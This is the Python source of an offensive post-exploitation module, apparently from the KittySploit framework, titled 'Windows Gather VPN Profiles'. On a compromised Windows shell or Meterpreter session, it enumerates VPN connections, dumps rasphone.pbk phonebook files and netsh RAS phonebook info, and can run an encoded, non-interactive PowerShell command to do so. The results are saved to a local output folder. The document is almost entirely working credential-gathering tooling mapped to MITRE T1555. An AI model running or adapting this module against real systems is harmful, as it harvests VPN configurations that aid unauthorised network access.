Windows Gather VPN Profiles
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Extract saved VPN connection details from a Windows session.
"""
from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time
_LOCAL_OUT = "output"
class Module(Post):
__info__ = {
"name": "Windows Gather VPN Profiles",
"description": (
"List VPN connections via Get-VpnConnection and dump rasphone.pbk "
"phonebook files on a Windows shell or Meterpreter session."
),
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
"references": [
"https://attack.mitre.org/techniques/T1555/"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': []},
},
}
save_local = OptBool(True, "Save results under ./output", False)
prefer_powershell = OptBool(
False,
"Prefer PowerShell when available (default: type/netsh via cmd)",
False,
True,
)
def _execute_cmd(self, command: str) -> str:
if not command:
return ""
output = self.cmd_execute(command)
return output.strip() if output else ""
def _encode_powershell(self, script: str) -> str:
return base64.b64encode(script.encode("utf-16le")).decode("ascii")
def _run_powershell(self, script: str) -> str:
encoded = self._encode_powershell(script)
return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")
def _bool_opt(self, val, default=False) -> bool:
if val is None:
return default
if isinstance(val, bool):
return val
return str(val).strip().lower() in ("1", "true", "yes", "on")
def _powershell_script(self) -> str:
return r"""
$sections = New-Object System.Collections.Generic.List[string]
$found = $false
if (Get-Command Get-VpnConnection -ErrorAction SilentlyContinue) {
$userVpns = @(Get-VpnConnection -ErrorAction SilentlyContinue)
$allVpns = @(Get-VpnConnection -AllUserConnection -ErrorAction SilentlyContinue)
$vpns = @($userVpns + $allVpns | Sort-Object -Property Name -Unique)
if ($vpns.Count -gt 0) {
$found = $true
$sections.Add("=== Get-VpnConnection ===`n$($vpns | Format-List | Out-String)")
}
}
$pbkPaths = @(
(Join-Path $env:APPDATA 'Microsoft\Network\Connections\Pbk\rasphone.pbk'),
(Join-Path $env:ProgramData 'Microsoft\Network\Connections\Pbk\rasphone.pbk')
) | Select-Object -Unique
foreach ($pbk in $pbkPaths) {
if (-not (Test-Path -LiteralPath $pbk)) { continue }
$found = $true
$content = Get-Content -LiteralPath $pbk -ErrorAction SilentlyContinue
$sections.Add("=== Phonebook: $pbk ===`n$($content -join "`n")")
}
$ras = netsh ras show phonebook info 2>&1
if ($LASTEXITCODE -eq 0 -and $ras) {
$found = $true
$sections.Add("=== netsh ras show phonebook info ===`n$($ras -join "`n")")
}
if (-not $found) {
Write-Output 'No VPN profiles or phonebook files found.'
} else {
$sections -join "`n`n"
}
"""
def check(self):
return True
def _extract_via_cmd(self) -> str:
sections = []
found = False
pbk_paths = (
r"%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk",
r"%ProgramData%\Microsoft\Network\Connections\Pbk\rasphone.pbk",
)
for path in pbk_paths:
exists = self._execute_cmd(f'if exist "{path}" (echo EXISTS) else (echo MISSING)')
if exists and "EXISTS" in exists:
found = True
content = self._execute_cmd(f'type "{path}"')
sections.append(f"=== Phonebook: {path} ===\n{content or '(empty)'}")
ras = self._execute_cmd("netsh ras show phonebook info")
if ras and not re.search(r"not recognized|The following command was not found", ras, re.I):
found = True
sections.append(f"=== netsh ras show phonebook info ===\n{ras}")
if not found:
return "No VPN profiles or phonebook files found."
return "\n\n".join(sections)
def _save_output(self, content: str) -> str:
os.makedirs(_LOCAL_OUT, exist_ok=True)
stamp = time.strftime("%Y%m%d_%H%M%S")
local_path = os.path.join(_LOCAL_OUT, f"vpn_profiles_{stamp}.txt")
with open(local_path, "w", encoding="utf-8", errors="replace") as f:
f.write(content)
return local_path
def run(self):
if not self.check():
raise ProcedureError(win_compat_failure_type(), "VPN dump prerequisites not met")
print_status("Collecting VPN profiles...")
use_ps = self._bool_opt(self.prefer_powershell, False) and win_probe_powershell(self._execute_cmd)
if use_ps:
print_info("Using PowerShell")
result = self._run_powershell(self._powershell_script())
else:
if self._bool_opt(self.prefer_powershell, False):
print_warning("PowerShell preferred but not available — falling back to type/netsh")
result = self._extract_via_cmd()
if not result:
raise ProcedureError(FailureType.Unknown, "No output was returned")
if re.search(r"No VPN profiles or phonebook files found", result, re.I):
print_warning(result)
return True
if self._bool_opt(self.save_local, True):
local_path = self._save_output(result + "\n")
print_success(f"Results saved to ./{local_path}")
print_success("VPN profile extraction completed")
print_info(result)
return True
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